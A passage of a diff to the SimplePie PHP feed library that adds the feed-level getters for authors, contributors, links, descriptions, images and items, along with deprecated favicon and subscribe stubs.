+	public function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		if ($author = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($authors))
+		{
+			return array_unique($authors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a contributor for the feed
+	 *
+	 * @since 1.1
+	 * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Author|null
+	 */
+	public function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all contributors for the feed
+	 *
+	 * Uses `<atom:contributor>`
+	 *
+	 * @since 1.1
+	 * @return array|null List of {@see SimplePie_Author} objects
+	 */
+	public function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single link for the feed
+	 *
+	 * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
+	 * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
+	 * @param string $rel The relationship of the link to return
+	 * @return string|null Link URL
+	 */
+	public function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if (isset($links[$key]))
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the permalink for the item
+	 *
+	 * Returns the first link available with a relationship of "alternate".
+	 * Identical to {@see get_link()} with key 0
+	 *
+	 * @see get_link
+	 * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
+	 * @internal Added for parity between the parent-level and the item/entry-level.
+	 * @return string|null Link URL
+	 */
+	public function get_permalink()
+	{
+		return $this->get_link(0);
+	}
+
+	/**
+	 * Get all links for the feed
+	 *
+	 * Uses `<atom:link>` or `<link>`
+	 *
+	 * @since Beta 2
+	 * @param string $rel The relationship of links to return
+	 * @return array|null Links found for the feed (strings)
+	 */
+	public function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					}
+				}
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+					}
+				}
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_all_discovered_feeds()
+	{
+		return $this->all_discovered_feeds;
+	}
+
+	/**
+	 * Get the content for the item
+	 *
+	 * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`,
+	 * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>`
+	 *
+	 * @since 1.0 (previously called `get_feed_description()` since 0.8)
+	 * @return string|null
+	 */
+	public function get_description()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the copyright info for the feed
+	 *
+	 * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>`
+	 *
+	 * @since 1.0 (previously called `get_feed_copyright()` since 0.8)
+	 * @return string|null
+	 */
+	public function get_copyright()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the language for the feed
+	 *
+	 * Uses `<language>`, `<dc:language>`, or @xml_lang
+	 *
+	 * @since 1.0 (previously called `get_feed_language()` since 0.8)
+	 * @return string|null
+	 */
+	public function get_language()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['headers']['content-language']))
+		{
+			return $this->sanitize($this->data['headers']['content-language'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the latitude coordinates for the item
+	 *
+	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
+	 *
+	 * Uses `<geo:lat>` or `<georss:point>`
+	 *
+	 * @since 1.0
+	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
+	 * @link http://www.georss.org/ GeoRSS
+	 * @return string|null
+	 */
+	public function get_latitude()
+	{
+
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the longitude coordinates for the feed
+	 *
+	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
+	 *
+	 * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
+	 *
+	 * @since 1.0
+	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
+	 * @link http://www.georss.org/ GeoRSS
+	 * @return string|null
+	 */
+	public function get_longitude()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the feed logo's title
+	 *
+	 * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title.
+	 *
+	 * Uses `<image><title>` or `<image><dc:title>`
+	 *
+	 * @return string|null
+	 */
+	public function get_image_title()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the feed logo's URL
+	 *
+	 * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to
+	 * have a "feed logo" URL. This points directly to the image itself.
+	 *
+	 * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
+	 * `<image><title>` or `<image><dc:title>`
+	 *
+	 * @return string|null
+	 */
+	public function get_image_url()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
+		{
+			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+
+	/**
+	 * Get the feed logo's link
+	 *
+	 * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This
+	 * points to a human-readable page that the image should link to.
+	 *
+	 * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
+	 * `<image><title>` or `<image><dc:title>`
+	 *
+	 * @return string|null
+	 */
+	public function get_image_link()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the feed logo's link
+	 *
+	 * RSS 2.0 feeds are allowed to have a "feed logo" width.
+	 *
+	 * Uses `<image><width>` or defaults to 88.0 if no width is specified and
+	 * the feed is an RSS 2.0 feed.
+	 *
+	 * @return int|float|null
+	 */
+	public function get_image_width()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'width'))
+		{
+			return round($return[0]['data']);
+		}
+		elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
+		{
+			return 88.0;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the feed logo's height
+	 *
+	 * RSS 2.0 feeds are allowed to have a "feed logo" height.
+	 *
+	 * Uses `<image><height>` or defaults to 31.0 if no height is specified and
+	 * the feed is an RSS 2.0 feed.
+	 *
+	 * @return int|float|null
+	 */
+	public function get_image_height()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'height'))
+		{
+			return round($return[0]['data']);
+		}
+		elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
+		{
+			return 31.0;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the number of items in the feed
+	 *
+	 * This is well-suited for {@link http://php.net/for for()} loops with
+	 * {@see get_item()}
+	 *
+	 * @param int $max Maximum value to return. 0 for no limit
+	 * @return int Number of items in the feed
+	 */
+	public function get_item_quantity($max = 0)
+	{
+		$max = (int) $max;
+		$qty = count($this->get_items());
+		if ($max === 0)
+		{
+			return $qty;
+		}
+		else
+		{
+			return ($qty > $max) ? $max : $qty;
+		}
+	}
+
+	/**
+	 * Get a single item from the feed
+	 *
+	 * This is better suited for {@link http://php.net/for for()} loops, whereas
+	 * {@see get_items()} is better suited for
+	 * {@link http://php.net/foreach foreach()} loops.
+	 *
+	 * @see get_item_quantity()
+	 * @since Beta 2
+	 * @param int $key The item that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Item|null
+	 */
+	public function get_item($key = 0)
+	{
+		$items = $this->get_items();
+		if (isset($items[$key]))
+		{
+			return $items[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all items from the feed
+	 *
+	 * This is better suited for {@link http://php.net/for for()} loops, whereas
+	 * {@see get_items()} is better suited for
+	 * {@link http://php.net/foreach foreach()} loops.
+	 *
+	 * @see get_item_quantity
+	 * @since Beta 2
+	 * @param int $start Index to start at
+	 * @param int $end Number of items to return. 0 for all items after `$start`
+	 * @return array|null List of {@see SimplePie_Item} objects
+	 */
+	public function get_items($start = 0, $end = 0)
+	{
+		if (!isset($this->data['items']))
+		{
+			if (!empty($this->multifeed_objects))
+			{
+				$this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
+			}
+			else
+			{
+				$this->data['items'] = array();
+				if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'entry'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+				if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'entry'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+				if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'item'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+				if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'item'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+				if ($items = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'item'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+			}
+		}
+
+		if (!empty($this->data['items']))
+		{
+			// If we want to order it by date, check if all items have a date, and then sort it
+			if ($this->order_by_date && empty($this->multifeed_objects))
+			{
+				if (!isset($this->data['ordered_items']))
+				{
+					$do_sort = true;
+					foreach ($this->data['items'] as $item)
+					{
+						if (!$item->get_date('U'))
+						{
+							$do_sort = false;
+							break;
+						}
+					}
+					$item = null;
+					$this->data['ordered_items'] = $this->data['items'];
+					if ($do_sort)
+					{
+						usort($this->data['ordered_items'], array(get_class($this), 'sort_items'));
+					}
+				}
+				$items = $this->data['ordered_items'];
+			}
+			else
+			{
+				$items = $this->data['items'];
+			}
+
+			// Slice the data as desired
+			if ($end === 0)
+			{
+				return array_slice($items, $start);
+			}
+			else
+			{
+				return array_slice($items, $start, $end);
+			}
+		}
+		else
+		{
+			return array();
+		}
+	}
+
+	/**
+	 * Set the favicon handler
+	 *
+	 * @deprecated Use your own favicon handling instead
+	 */
+	public function set_favicon_handler($page = false, $qs = 'i')
+	{
+		$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+		trigger_error('Favicon handling has been removed, please use your own handling', $level);
+		return false;
+	}
+
+	/**
+	 * Get the favicon for the current feed
+	 *
+	 * @deprecated Use your own favicon handling instead
+	 */
+	public function get_favicon()
+	{
+		$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+		trigger_error('Favicon handling has been removed, please use your own handling', $level);
+
+		if (($url = $this->get_link()) !== null)
+		{
+			return 'http://g.etfv.co/' . urlencode($url);
+		}
+
+		return false;
+	}
+
+	/**
+	 * Magic method handler
+	 *
+	 * @param string $method Method name
+	 * @param array $args Arguments to the method
+	 * @return mixed
+	 */
+	public function __call($method, $args)
+	{
+		if (strpos($method, 'subscribe_') === 0)
+		{
+			$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+			trigger_error('subscribe_*() has been deprecated, implement the callback yourself', $level);
+			return '';
+		}
+		if ($method === 'enable_xml_dump')
+		{
+			$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+			trigger_error('enable_xml_dump() has been deprecated, use get_raw_data() instead', $level);
+			return false;
+		}
+
+		$class = get_class($this);
+		$trace = debug_backtrace();
+		$file = $trace[0]['file'];
+		$line = $trace[0]['line'];
+		trigger_error("Call to undefined method $class::$method() in $file on line $line", E_USER_ERROR);
+	}
+
+	/**
+	 * Sorting callback for items
+	 *
+	 * @access private
+	 * @param SimplePie $a
+	 * @param SimplePie $b
+	 * @return boolean
+	 */
+	public static function sort_items($a, $b)
+	{
+		return $a->get_date('U') <= $b->get_date('U');
+	}
+
+	/**
+	 * Merge items from several feeds into one
+	 *
+	 * If you're merging multiple feeds together, they need to all have dates
+	 * for the items or else SimplePie will refuse to sort them.
+	 *
